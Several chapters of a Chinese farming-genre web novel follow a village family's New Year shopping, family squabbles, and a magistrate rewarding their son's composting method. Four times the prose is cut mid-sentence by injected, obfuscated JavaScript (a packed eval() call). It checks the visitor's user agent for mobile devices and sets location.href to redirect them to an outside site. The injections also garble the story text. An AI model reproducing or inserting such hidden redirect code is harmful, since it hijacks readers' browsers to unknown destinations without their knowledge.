前几个月他们家花钱确实多了些,家里只剩下不到三两银子,巧娘跟赵来贺面上不说,心里都是着急的,如今加上卖鹿跟鸡的钱,总算是放下了心来,接下来他们家没什么大的花销,开春后继续孵小鸡,便能有源源不断的银子,不至于入不敷出了。 第二天吃的依旧是鸡蛋面疙瘩汤,上面飘了一层薄薄的油脂,还是上回周家带来的肉熬出来的猪油。 冬天的早上吃上这么一碗热腾腾的汤,直接暖到了胃里。 巧娘跟赵来贺提了一嘴昨王三娘跟王小红想要搭车一起去置办年货的事。 “咱们家得去县城,还要去孙大夫那边配药,她们是去镇上还是县城?” “县城呢,说好了到时候回来的时候城门口碰头。” 赵来贺点点头,“那还是要早些,赶在下雪前,不然驴蹄陷在泥里不好走。” “我也是这个意思,总归是早些去买好了心里也踏实,不然总惦记还有什么事没办。” “明天给驴子歇一天,后天一早就去。” 赵来贺定下去县城的日子后,巧娘便开始琢磨着要置办的东西,赵丰年见她做饭的时候嘴里都在念念有词,便提议列个单子出来,巧娘立马觉得可行。 等赵来贺从祠堂那边回来,就见母子两人坐在饭桌上,一个念一个写,凑过去一看,见那一列列的什么果子、糖糕、猪板油,就乐了。 见两人没什么用得到自己的,索性去给赵丰年摆在桌上的汤婆子换了水,冬日里写字手凉得快,一会儿刚好可以捂一捂,今年整个冬天赵丰年都没有生病,大夫都说是好迹象,顾秀才也说孩子是个读书的料子,未来可以走科举路,这样一看,赵来贺只觉得这日子是越来越有盼头了。 等到去县城的日子,赵来贺牵着驴车,让巧娘跟赵丰年坐在板车上,顺着路先拐到了老宅。 王小红此时正等在老宅,但是巧娘没想到能看到陈莲,见到他们,王小红倒是立马笑着迎上来打招呼,陈莲还是老样子,很是安静,不过自打赵来庆当上了员外家的账房后,显然她也比之前开朗多了,瞧上去过得还不错,此时见到几人,也笑着打了个招呼。 几人相互叫了后,赵来贺巧娘便带着赵丰年进了屋,跟赵老头张氏打了个招呼,等出来的时候,大胖二胖还有翠翠青青几个孩子就围着驴车好奇地上下摸索。 王三娘跟在赵来金后面,背着背篓出来,看见陈莲就翻了一个白眼,拉着巧娘嘲讽,“不知道从哪听来的我们今天要上县城,一个个招呼都不打就来了。” 王小红也不满陈莲这样子凑上来,但是她习惯了怼王三娘,“又不是你家的驴车,你犯得着么,四弟妹都没说什么。” “又没说你,你起个什么劲,什么犯得着犯不着的,我家好歹是送了碗咸菜过去的。” 想到咸菜王小红更来气了,当时两人说好去赵四家,结果王三娘闷不吭声,到了地却掏出一碗咸菜来,弄得她王小红里外不是人,“就一碗破咸菜,当什么好东西呢,活像是送了一碗鸡蛋似的。” “赵四家就鸡蛋多,用得着我送?再说了,人宝儿就喜欢吃这口咸菜,你懂什么?!” 赵丰年还在想他什么时候喜欢吃大伯娘的咸菜,她娘就将两人拉开了。 “好了好了,难得大家凑在一块,刚好热闹热闹,只不过,咱们人多,我们大人怕要走路了,让孩子们坐车上吧。” 大胖二胖欢呼着往板车上窜,青青看得有些羡慕。 见二胖爬不上去,赵来贺用手托了一把,转头看着两个女孩,一声不吭,就把赵青青赵翠翠俩孩儿也给抱上去了,到后最后这才又将赵丰年放到了孩子中间。 两个女孩都惊呆了,王小红也愣了愣,正要说什么,就听赵来贺问陈莲,“三嫂,盼娣招娣呢,还有柱子,今天人多热闹,不如把他们这帮小鬼头都带上,都去县城里涨涨见识。” 陈莲挪了两步,“就不用了,她们怕生,不喜欢热闹,谢过四弟了。” 王小红瞧不上她那副小家子气的模样,这样一对比,觉得还是自己教的女儿好,也不再说什么她们不去了,“柱子在家温书呢,夫子说了,咱们柱子可是有读书天分的,可不能把时间浪费在玩上面。” 柱子前段时间也去了陈家湾陈秀才家读书,王三娘王小红一直暗中较劲。 此时听了这话,王三娘总觉得她是意有所指,刚要说回去,就被巧娘眼尖打断了,“既然这样,咱们就出发吧,再晚点怕要下雪的。” 这时张氏从屋里不知哪里翻出了一床旧被褥,“给孩子们盖着腿,都别冻着了。” 巧娘连忙谢过,又暗道自己不够细心,宝儿身子骨弱,她居然没想到这一层。 路上,巧娘才得知,原来赵来庆还没从钱员外的庄子上回来。 上回碰到他,还是秋收后赵三家起新房子的时候,因为很多汉子都去帮他们家盖围墙去了,导致赵三家的房子延了期,赵来贺过意不去,过来帮着打了地基,柳巧娘送了一筐鸡蛋来,那时候赵来庆穿着一身簇新的书生长袍,精神面貌比以前好很多,就是说话尽喜欢说些人听不懂的。 不过也是,一个月三百文的活儿,精神状态怎么会差,要巧娘说,若是她每个月能赚三百文,那真是做梦都能笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809738|157618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒。不过她转头一想,前头她孵鸡崽卖,最多的时候一个月孵了五百只,赚的可不止三百文。 “估计也就这几天的事了,毕竟就算是员外家,也是要过年的。” 陈莲点点头,总觉得现在丈夫能赚钱了,日子该好过了才是,整个赵家村,谁不羡慕她相公一个月能赚三百文,但是赵来庆不像其他男人,家里钱都交到媳妇手上,他的钱都自己揣着,若不是她每个月张口跟他要钱,他甚至都想不起来家里还有老婆孩子要养。 陈莲觉得委屈,又觉得是因为自己肚子不争气,生不出儿子来,这才让丈夫心不在家里。 王小红也羡慕过三房一个月能赚三百文,为此,她还跟赵来喜吵了一架,非得让赵来喜去求赵老头也给他找一个三百文的,实在不行,一百文也行。 “我看你是疯了,三弟是识字才能赚这么多,我能做什么,重活我干不来,那轻松的又要认字。” “你不去试试怎么知道做不来?前头说你那帮朋友能给柱子安排进县城里的私塾,最后没办成不说,还搭了一两银子进去,如今说是县城的酒楼,每个月就给四十文钱!” “都说我这刚开始,后面干得还,还能再涨三十文,你也不去瞧瞧,这村里谁家当家汉子能寻到一个月七十文钱的活!” 王小红到底是妥协了,能在县城里有份这样的活计已经超过大多数人了,总比赵来喜成日里懒在家里好。 年关底下县城的酒楼生意好,因此赵来喜是没回来成的。、 刚到县城,孩子们就被县城的繁华吸引到了。 大胖二胖倒是来过一两次县城,但是青青翠翠是头一回,当下只觉得眼睛都不够看了。 大家要买的东西不一样,也没必要都一起走,约好下午县城门口汇合就各自分开了。 陈莲倒有些害怕,想跟着赵丰年一家,同时有些后悔没跟王小红一样带上两个女儿,又想到人家看到她带两个女娃,会不会想到她生不出儿子嘲笑她。 “三嫂,我们也走了,记得下午城门口见啊。”巧娘没想太多,只是她也不是很愿意跟陈莲一起聊那些没完没了的生儿子的话题。 讲真,赵家也没谁真的就说轻视女孩子了,就她自己一个人在哪里总觉得旁人都看不起她,倒也不至于。 “宝儿,想吃糖葫芦嘛?”赵来贺问完,不等儿子回答,立马掏钱买了两串,一串给赵丰年,一串给巧娘。 巧娘嗔笑,怪他乱花钱,赵来贺也不恼,又数了十个铜钱,让小贩包起来,天冷,上面的糖浆都冻成块了,放在一起也不会粘得到处都是。 “买这么多做什么,也不能多吃,回头坏了孩子牙。” “给几个孩子都甜甜嘴,剩下三串,宝儿一串,过年去他大舅家,给大尺小尺也带上。” 巧娘没话说了,如今他们家赚到钱了,她也不在于这几文钱,再说,她看赵家这几个女孩子,过得都苦。 21. 第 21 章 买了一把糖葫芦,收获了小贩一箩筐的吉利话。 赵丰年也觉得他几个堂姐堂妹过得苦,女孩子在每个时代都不容易,在这个世道就格外艰难,如果真的想改变,只能她们自己立起来,但是又有多少人能冲破世俗枷锁呢,如果她们知道那是枷锁的话,可能还有可能,可是这世间有太多约束着她们,让她们甚至不知道自己被约束着,这样她们又如何能有冲破枷锁的机会呢。 赵丰年咬到一颗山楂籽,差点崩了牙,不对,是真的崩了牙。 “嘶~” 赵丰年看到手上带着血丝的牙齿,心态崩了。 赵来贺率先发现了儿子不对劲,待见他从嘴巴里吐出一颗带血的牙齿,当即紧张得不行,顿时就后悔自己给孩子买糖葫芦了。 倒是巧娘一看就知道怎么回事了,无语地看着这对如临大敌的父子。 “宝儿这是要换牙了,不是崩的。” 赵来贺长呼一口气,而赵丰年再次风中凌乱。 他,还要换牙齿? 再没有哪一刻,能让此时的赵丰年察觉到,他还是个刚过了七岁的孩子。 呵呵。 冰糖葫芦被没收后,赵丰年瞟了一眼。 再次,呵呵。 买完单子上的大部分东西,一家人又去了布庄,给赵老头跟张氏各买了一件袄子,巧娘的娘早些年没了,也只给柳老头买了一件。 伙计看他们这么大手笔,当即又给推荐了一堆东西。 虽然赚到了钱,但夫妻俩都习惯了节俭,倒是看中了一条狐皮做成的围脖,看上去就暖,也看上去就是适合他们宝儿。 赵丰年拒绝无果,只跟老板说再要两件成衣袄子。 不等夫妻俩拒绝,“如果爹跟娘亲都不买,那我也不要了,咱们是一家人,一家人就要整整齐齐。” 夫妻俩感动不已,最后柳巧娘拍板,“买,咱们都买!今年过年咱们一家都穿新衣裳!” 不过等走出布庄,柳巧娘就后悔了。 “该自己买棉花跟布料来做的,这一件袄子竟然要两钱,能买好几斤棉花跟布料了,也是今年忙晕了头了,明年我一定早早买了自己做。” 中午一人吃了一碗馄饨,又歇了歇脚,一家人才赶着驴子不紧不慢地溜达到了城门口。 王小红带着两个女儿已经等在那里了,她东西倒是不多,赵来贺把驴车赶到路边,帮她把背篓放到车上,又问青青翠翠,“上车坐着不?” 巧娘先前就在赵丰年的提醒下往板车上放了几个用麦杆稻草做的蒲团,再加上张氏的旧棉被,车上一点都不冻人。 赵青青先是看了眼她娘,这才点点头,这回也不用赵来贺忙,自己就带着妹妹爬上去了,挨着赵丰年坐,暖和。 赵翠翠好奇地上手摸了摸赵丰年脖子上的毛领子,“弟弟,软软的。” 赵丰年却变戏法似的从怀里掏出了八根发带,还有八朵粉色的小花朵。 赵翠翠立马瞪大了眼睛,“呀,真漂亮~” “一人两根发带,两朵小花,翠翠,你自己挑。” 赵翠翠只比赵丰年大三个月,只是人长得瘦弱。 赵翠翠笑得很开心,选了自己的那份,“谢谢弟弟。”说完又捧着花给赵青青看,“姐姐你看,弟弟送我们花呢。” 赵青青摸了摸她的头,看到小婶娘脸上带着笑看着这边,这才也挑了两根发带,两朵花,又摸了摸赵丰年的脑袋,“谢谢弟弟。” 王小红本来看到他们车上买了不少东西,又见赵丰年脖子上一看就贵的围脖,心里便有些不是滋味,见赵丰年还知道买发绳跟头花来送给两个姐姐,顿时就舒坦一点了,可见还剩下不少,又开口道—— “咳咳,宝儿啊,还多出这么多呢?” 赵翠翠看了眼她娘,又看了看赵丰年,转头认真跟王小红说道,“娘,那是给妹妹的。” 王小红愣了愣,“瞎说什么,你只有一个姐姐,哪来的妹妹!” 巧娘却笑道,“翠翠真聪明,都知道这是给盼娣招娣两个妹妹的。” 王小红撇嘴。 却只见赵翠翠忽然想起什么似的,由坐改蹲,继而翻着她家的那个背篓,抓了一把花生出来,“给,弟弟吃。” 王小红一个没留神,看到这一幕,气得快炸了。 “你个死丫头,这是要走亲戚的!快给我放回去,果然是养给别人家的人,这么小就知道胳膊肘往外拐了!” 王小红一边扯过赵翠翠的手往背篓里放,一边拍着她胳膊,赵翠翠立马就哭了。 “哇——” 赵丰年皱了眉,见王小红还想再打,巧娘连忙从车里将翠翠抱了起来。 “她二婶,大过年的,就不要骂孩子了,孩子都吓哭了,这还是在外面呢。” 王小红要脸,又骂了几句,这才作罢。 赵来贺也皱了眉头,他很是不赞同打骂孩子,见赵翠翠还在抽泣,有些不忍心,连忙打开背篓,找到了装糖葫芦的油纸包,当即举起一根送到她面前。 赵翠翠顿时被糖葫芦转移了注意力,见状,赵青青也松了一口气,而此时,赵来贺已经将另外一根糖葫芦也举到了她的面前。 “拿稳啰。” 赵青青忽然觉得自己也有点想哭了,“嗯,谢谢小叔。” 糖葫芦真甜啊,这是她这辈子吃过的最甜的糖葫芦了,虽然她这辈子还没吃过糖葫芦。 不一会儿,赵来金一家也赶过来,还有陈莲,两家倒是走到一起去了。 见青青、翠翠在吃糖葫芦,大胖二胖立马不干了。 “爹娘,我也吃糖葫芦!” “我也要吃我也要吃!” 王三娘还稀奇呢,这王小红什么时候这么大方了,居然舍得给女儿买糖葫芦。 “吃吃吃,一路上看见什么都要买,手缝这么松,多少钱都不够你们败的!” 赵来金跟赵来贺打过招呼,正要将将儿子抱进车上,俩孩子却不干,嚷着要吃糖葫芦。 两个孩子一起嚎,那效果可谓是惊人。 连赵来金这个老师人都恨不得打人,也不知道怎么忽然就变成这样了,巧娘连忙从背篓里拿出两串糖葫芦,一人一根,这才止住了。 赵来贺觉得他的兄嫂子们教孩子的方式都有问题,但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵丰年这一病就病到了初一,好在过完年总算是有了点气色,初二去桑河村的时候,巧娘直接将他整个包在了被子里,只露出一颗脑袋,还弄了个帽子,当真是一丝不敢懈怠。 等到了柳家,柳大看见外甥这幅造型,嘴上没说什么,眼里却满是笑意。 赵丰年身无所恋地仍由他将自己抱出来,直到进了屋,放在了两个表兄床上,正当柳大还要给他盖被子的时候,赵丰年终于忍不住了,“舅舅,我没病,我已经大好了。” 柳大眨眨眼,“你娘方才说你吃着药?” “已经好了,我两天没吃药了。” 柳大将信将疑,最后还是赵来贺进来给儿子解了围,并告诉儿子,这就是他逞强结果生病的后果,要赵丰年记住,天塌下来还有他这个爹顶着,不用什么都要靠自己。 赵丰年就知道他爹娘什么都懂,什么都明白。 “知道了爹,我以后不会了。” 他会慢慢变强,获得足够的权利,才能保护想要保护的人,才能改变这个世界的不公。 22. 第 22 章 “给我买什么衣服,瞎花钱,带上次那什么米酒就成,我就好那一口!”柳老头抱怨女儿乱花钱,手上却舍不得放下衣服。 “您女婿孝敬您的,您就穿上试试!”见父子俩出来,巧娘笑了笑,招呼儿子过来,“把糖葫芦给哥哥们分了。” 柳老头换上新衣,果然很合适,夏氏就笑,“爹你还别说,县城那酒,一斤卖两百文呢,我前头舍不得买,没成想巧娘这回又带了两斤,咱们倒是有口福了。” 众人都笑,柳老头惊了,“这么贵呢?那你们自己带回去,也不是见天的吃肉喝酒,上回尝过了就算了。” “爹,大过年的,您安心收着就是,去年家里大小事多亏了您跟大哥,今天我陪您好好喝一杯。” 柳大也笑,“那感情好,你嫂子手艺好,一会儿让她多做几个下酒菜。” 大人其乐融融,小孩子这边。 “宝儿,你怎么不吃糖葫芦啊?是不爱吃吗?”——小尺。 “弟弟换牙齿,不能吃太硬太甜的东西。”——大尺。 “哦,那宝儿太惨了,今天娘宰了一只鸡,还有腊鸭呢。”——小尺。 “是啊。”——大尺。 最终,还是只有赵丰年受伤的局面达成了。 年后,赵丰年去顾秀才家,带上了年礼,还有新一年的束修。 小顾秀才去年秋天去了乡试,但很可惜没上榜,是以顾秀才家今年过年的氛围不怎么好,不过看到赵丰年来了,还是笑着问候了他。 他们来的路上碰到了赵来富一家。 赵有志今年就十一岁了,家里人想让他今年去考童生试,顾老秀才觉得赵有志还缺点火候,只说如果运气好些许能考中。 这个答案让赵大伯等人不是很满意,但是毕竟顾老秀才都说了,还是有可能考中的,于是赵有志跟着今年二月份县试的孩子一起进入了备考状态。 具体表现为,他们要比其他人晚下学一个时辰。 不过这些都影响不到赵丰年,巧娘跟赵来贺对儿子的期望原本就只是认识几个字,将来好去县城里找份轻松的活养活自己。 虽说两位顾秀才都说了儿子有可以走科举路子的天分,两口子也没当什么了不得的事,如果儿子想要走这条路,他们拼了命也会供他,如果不想走这天路,那也没有妨碍。 如今随着他们家有自己的谋生,也不用担心儿子未来会因为干不动农活饿死了,而且他们儿子脑子聪明,此前完全是他们担心多余了。 家里的鸡陆陆续续开始下蛋以来,巧娘已经攒了三百多个蛋,差不多也到了孵春雏的时候了。 于是家里的炕屋再次用上了。 巧娘要孵小鸡,赵来贺也没闲着,将池塘里的淤泥淘了一遍,重新种了些水草,竟捞出了不少大鱼,鱼肚子鼓囊囊的,估摸着是要下籽了,想着刚好留着给甲鱼吃,索性又把鱼都放回去了。 去年养的甲鱼不多,只有几十来只,到了冬天,那些甲鱼都睡在洞里,赵家已经很久没看见甲鱼的踪影了,这几天天气好,阳光充足,竟看到几只露了头。 等到从池塘中间长岛草丛里发现了几枚团鱼蛋,赵来贺知道,春天来了。 又一年春天,待河里的水都化冻后,芫花再一次开满了山坡野地。 村里人忙着挖芫花,赵家今年没掺合,此时,赵丰年正再跟赵来贺研究水肥,好赶在灌浆前给麦子追肥。 赵家如今有八亩地,一亩水田,七亩旱田,水田种的是水稻,一年种一茬,三四月的时候下的谷子,得等到六七月才能收获,七亩旱地,种了六亩冬小麦,差不多五月底就要收割了,等收割了后,大家就准备种大豆了。 赵家也不例外。 “咱们家的小麦这回开穗多呢,密密麻麻的,前头你牛叔还问我怎么种的呢。” 说到地里的收成,赵来贺满脸笑意。 “今年应该会有个好收成。” 赵丰年也笑。 县试结束后,赵有志考擦着最后一名过了,等到四月,他还要再去府城考一次府试,若府试也过了,那他就是童生了,可以参加八月的院试,倘若院试也过了,那就是秀才了,能给家里免除田地赋税。 赵丰年依旧坐在小马扎上帮忙挑豆子,一边跟柳巧娘介绍考童生的流程。 “哦,那可真不容易,要考那么多次呢,太辛苦了。” 但是如果一旦成功,那就是有意义的。 这也是这个时代平民唯一能冲破阶级的办法了。 赵来贺扛着锄头从外面推开院子门,怀里还抱着一条狗。 “哪里来的狗崽子?”柳巧娘问。 赵来贺先放下锄头,将狗崽子带到母子俩面前,“大柱家的,想着咱们家人少,又有院子,养只狗看家护院,宝儿摸一摸,小东西不咬人。” 柳巧娘拉起狗崽子一条后腿,狗崽子哼哼唧唧,“是只母的呢,他家大黄狗今年生了几只?” 赵来贺从墙角的水缸里舀了一瓢水洗手,一边回答,“今年还是五只,的亏我年前跟他说好了,不然可抢不到了。” “今年养狗的人这么多呢?” “可不是,说是去年大家养的鸡多,怕人偷呢,说起来这里面还有咱们家一番力气呢,咱们鸡苗卖得便宜,大家都乐意买。前头去大柱家的时候,桃婶子还问今年有没有呢,说是过年那会儿她娘家嫂子就问了。” 有生意能做,柳巧娘自然开心,这些日子她孵出了两批鸡苗,不过都送到县城里去了,那县城卖鸡苗的人说要进一批鸡苗,赶早些时候送到其他县去买,这也是年前就说好的,柳巧娘按照本村里人的价格,四文钱一只,赚了一两多,送完人家定好的,这才有时间孵零售的。 自从赵家村卖鸡苗,本村人比外头人来买便宜一文钱,比县城还便宜两文钱,跟赵家村人有亲戚关系的几乎都求上门了,赵家村人竟有些许的自豪,只觉得面上有光,瞧见外村人来买鸡苗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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称粮的时候,这个说法已经传得几乎整个村都知道了。 大夏一年收两次粮税,一次在夏收后的六到八月份,另外一次就是秋收后的十到十二月了。 村长赵大生挨家挨户登记的时候,听到一亩三石的时候,顿时就惊住了。 如今小麦的亩产在一石左右,约莫一百斤上下,最肥沃的上田产量最高也就一石半,还是好些年前怀江府下面的其他县的记录,而赵家的地,就算其他人不明就里,经手的赵大生还不知道嘛,那就是比下田稍微好一点罢了。 赵大生这下也怀疑赵来贺家是不是哪里寻来了了不得的粮种了。 眼看众人眼神越发火热,赵来贺忙笑着解释。 “哪有什么好粮种,无非是跟大家一样,挑挑拣拣的。” “来贺,都是同一个村子的,可不带这样藏着掖着的啊。” 赵来贺笑了笑,“这都多亏了堆肥!” 23. 第 23 章 赵丰年本就没打算瞒着村里做,刚开始的时候瞒着是怕有人跟着学,最后没成反倒怪到自家头上。 再者就是,这个方法也要经过实验,他还有自己的一点打算,如今水到渠成,于是便让赵来贺出面了。 虽然在赵丰年看来,这样的产量还是没有达标,但是对于这个时代来说,已经是惊人的变化了。 听说赵四家靠着叫什么堆肥的法子让七亩地都能亩产两石的麦子,整个赵家村都沸腾了。 谁不知道赵四家那五亩地地薄,起初王家种五亩麦子,收获三石都不到,虽然有疏于管理的原因,最主要的还是地荒啊。 可如今,赵四竟然连薄田都能种出这么多粮食,可见这堆肥是多么管用!一时间,无论是家里薄田还是本来就拥有上田的人家,都激动不已。 赵家突出的产量,毫不意外引起了其他村的注意,也引起了县太爷的注意。 对比其他村一亩一石,六七斗,赵家村的三石实在是一枝独秀。 这天收粮税的还是个熟人,周大力。 周大力早知道了这事,见到赵来贺,一脸的笑容。 “贺兄弟,真有你的,你家这事县令大人都知道了,你可真生了个好儿子!” 赵来贺也笑得合不拢嘴。 等县令大人亲自微笑着同赵来贺说了几句话,还说待查实前因后果,会再派人去赵家村时,整个场子上的人再次冲赵家村这边投来了羡慕的目光。 今天的所见所闻赵家村的人能说一辈子,见到了县太爷,县太爷还很和蔼地跟他们说话了,还说要来他们赵家村呢。 赵丰年家,巧娘也高兴,他们家今年秋收都没出什么力气,去年才得了县太爷的夸,今年堆肥的事又被县太爷夸了一番。 巧娘已经将鸡养到三百只了,每天收的鸡蛋都卖到了县城里,知道她家养鸡,县城好几家酒楼食肆都在她家定鸡、定鸡蛋,现在她给鸡吃的可都是新鲜的菜梆子还有河里的田螺,怕是有些人家吃的还没有她家鸡好呢。 本想着如今就是最好的日子了,谁成想,这天中午,村口传来了一阵敲锣打鼓的声音。 家里小黄狗听到动静猛的站了起来,朝着门口狂吠不止。 赵来贺喝退狗崽子,正要出门瞧瞧,就见赵来元一脸喜意朝他们家跑来。 “来贺哥,好事,大好事!县太爷来了,说要来你家瞧宝儿呢!” 不多时,只见队伍来到了赵家,县太爷从一辆深蓝色的轿子上下来,乐手也停止了敲锣打鼓。 县太爷姓张,长得慈眉善目,倒不像是一县之长,倒像是谁家的富家翁。 张大人先点了赵丰年问了几句,连连点头。 “你便是赵四,不错不错,你很不错,虽家贫,却一片慈父之心,坚持送小儿去读书,你同你妻子也养了一个好儿子,年纪轻轻便能造福乡里,务必要让他继续读下去,往后通晓圣贤书,将来也好报效朝廷,本县赠纹银百两,是为鼓励,望你家往后继续造福乡里。” 话毕,又单独点出赵丰年。 “赵丰年,这里有文房四宝一套,望你好生读书,勿忘进取。” 这时候,衙役也送上了两个托盘,赵丰年跟赵来贺各自接了一个,这才又向张县令行礼道谢。 “堆肥之法本县即将在全县推广,届时衙门派人来赵家村学习,届时还要你们教导一二。” 赵来贺赵丰年自说不敢。 县太爷热热闹闹地来,也把热闹留在了赵家。 听闻县太爷送了一百两银子给赵家村赵四,还送了文房四宝给他家那个发明了堆肥之法的神童儿子,隔壁村都赶来了凑热闹,纷纷表示要看看“堆肥神童”长什么模样。 当然,还有重要的堆肥,旁人不知道什么是堆肥,但那不重要,重要的是,那什么堆肥能让粮食增产,那就够了。 又听说县太爷会派人去各个村里推广增产办法,大家顿时就安心了,直夸县太爷是好官。 这边,赵丰年家被围得水泄不通,而另一边,赵来金回到家里,王三娘忙拉住他问肥田的事,赵老头也看向了他。 赵来金刚从现场回来,人正兴奋着,不住地搓着手,“是有这么回事,刚才当着县令大人的面四弟又介绍了一遍,我琢磨着这法子能行哩!” 王三红翻了个白眼,“还用你说,他家今年一亩地两石呢!我是说县太爷长啥样?真给送了一百两银子?还送了东西给宝儿?” “让你一起去你又害怕,现在又紧着问,县太爷不就长一副官大人的模样么,还能长什么模样?很有威严,总之他一说话,我都不敢喘气了。” 王三娘啐了他一口,“就这点出息!” 想到什么又皱了眉,“他愿意拿出来教给大家?别是要收钱吧?你是他大哥,他管你要钱,丧良心哦!” 赵来金涨红了一张脸,“不要钱,免费教大家,再说,县太爷都发话了,还收什么钱,堆肥要的那些东西也都是寻常见的,只是四弟家打算再盖间屋子,村长说了,让各家出人帮忙。” “我就说没有白拿的,还要帮他家干活呢,刚得了一百两就要盖屋子,显摆呢,去年也是,又是买驴,又是起围墙的……” 赵老头看了她一眼,王三娘一愣,连忙借口饭在锅里溜走了。 “你四弟最念旧情,是你们先寒了他的心,前头他宁愿去桑河村找柳大来帮忙,也不找你们这几个亲兄弟,你们也要想想为什么。这回他那边你多搭把手,别真叫兄弟不成兄弟。” 赵来了脸涨得更红了,羞愧得恨不得地上有条缝能让自己钻进去。 这边赵来贺白天说了一通还不过瘾,晚饭桌上,依旧很开心,这么多年来,他从来都是赵老二家的老四,为了给儿子赚药钱,寒冬腊月也要进山,没人瞧得起他,如今却要来请教他了。 虽然这都是儿子的功劳,话也是儿子教他的。 “爹,回头教村里人的时候,您还是让村长爷爷选几个聪明的代表过来跟您学堆肥,这样您教会了他们,再由村长组织他们去教其他人。” “对对对,宝儿说的有道理,村里那么多人呢,都等你一个人教得多久啊,累都累死了。” 赵来贺也觉得有道理,打算等从府衙回来就去找村长说说。 又过了几天,村 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵家如今的养鸡生意做大了,就想再盖间屋子专门养鸡,本来这事是打算等明年的,但这不是县令大人赏了一百两银子嘛,大家伙们都知道他家得了这么一大笔钱,不干点什么,指不定哪天就遭了贼惦记,于是,当天赵来贺就当众放话说把钱都拿来买地,还要再盖间大房子,回头请大家吃酒席。 赚了钱无论是买地还是盖房子,在村里可再正常不过了,大部分人想的图的,就是一个赚了大钱盖大房子,买上等田,过上不愁衣食的生活。 做好打算后,赵来贺还是照样请了柳大帮忙定砖,只是没想到,柳大速度这么快,当即也十分开心。 “那感情好,等这段时间下完豆子了,刚好可以开工了。”麦子收完,还要继续忙,等把豆子都种上,亲眼见发了芽,农忙这才告一段落呢。 说完定砖的事,赵来贺这才又看向了大哥赵来金。 “这不是,你这边要盖房子,爹让我来瞧瞧有什么要搭把手的。”赵来金才知道自己来迟了,当下便有些尴尬。 24. 第 24 章 赵来金回到家,刚好撞见王三娘,王三娘见他乐呵呵的,当即翻了个白眼。 “上赶着去帮忙,完了还乐得跟什么似的。” “都是兄弟,往后是要相互扶持的。” “他赵四如今日子是好过起来了,也没见他扶持扶持你这个大哥的。”王三娘不满,忽然又想到什么,“不如你去找老四借点银子?大胖个臭小子,死活不去读书,咱们得让二胖去!” 赵来金无奈,大胖过完年大闹了一场,就是不肯读书,俗话说的好,这牛不喝水还能按着头不成,只是二胖也不是个读书的料,才去了一天就在家哭闹开了。 “怎么又扯到这上头来了,两孩子都不是读书的料,去也是浪费钱,还不如好好种地,谁不都这样过的。” 王三娘立马就怒了,“是,谁都是这么过的,可你赵家老三不是,他老二儿子不是,赵老四家的儿子也不是,你老赵家也就你两个儿子要土里刨食!亏你还是当爹的!” 赵来金先是怔愣了片刻,随即便是不甘中透着沮丧,“这不是,俩孩子都不是读书的料子,咱们家也不是那富贵人家,何必上赶着浪费银子。” 王三娘更气了,可不得不承认赵来金说的也是事实,为了孩子读书的事,他们节衣缩食,算起来,去年一年到头都没吃几次肉,还都是老四家送过来孝敬爹娘的。 倘若是大胖二胖有一个能读进去也就罢了,可偏偏两个就是不开窍。 最后,王三娘也不得不认命了。 只是老四家也就罢了,人宝儿是县太爷公认的聪明,可一想到王小红家的柱子还读着书,王小红还见天的自夸,王三娘心里就不舒服了。 而这边,赵丰年总算是能松了口气,只因人们来了一段时间过后,终于是消停下来了,一来是堆肥的好处还没落到其他人家的身上,只听了一耳朵自然比不上亲眼所见,二来县城组织了各村的人学习堆肥呢,大家都忙着。 赵丰年对此感到十分满意,再不用担心走在路上被忽然冒出来的人摸一把脑袋了。 这日,照常是赵来贺送赵丰年去顾家私塾,刚出了村口,碰上了同样送人的赵来富。 自打家里买了驴子,赵丰年几乎就没搭过赵大伯家的牛车了,过完年后,因着赵有志要备考童生,下学时辰不一样,更是很久没有一起上学下学了。 今天倒是碰巧了。 见到赵丰年父子,赵来富兴致不高地打过招呼,没再开口,跟之前见到赵丰年的样子几乎判若两人。 赵有志府试没过,赵丰年也能理解,只当赵来富苦闷于儿子没考上童生心情不好。 殊不知,赵来富虽则失望,却对这次赵有志考童生没抱太大期望,毕竟有顾秀才的话放在哪里,大不了就是明年再试,他家总归是不缺这点银子的。 他苦闷在于,都是做儿子的,还是一家子,赵丰年比自己儿子还小,却小小年纪,已经接二连三表现出聪明过人来,还被县太爷当众夸赞,有了“神童”之称,而他家这个却是看不到一点苗子来,怎么能让他不产生落差来。 倘若赵丰年知道赵来富怎么想的,怕是要觉得他是钻牛角尖了,各人有各人的活法,未必一定要跟旁人比较的。 回去的时候,赵丰年这样跟他爹说道。 赵来贺思索了片刻,“话不能这么讲,你富大伯自小要强,比我们这一众兄弟都要有出息,第一个盖房子的,第一个买地买牛的,如今见到其他兄弟赶上来了,儿子却没考上,虽说未必就是嫉妒,但是这心里总归是不太舒坦的,等过了这阵子,也就过去了。” 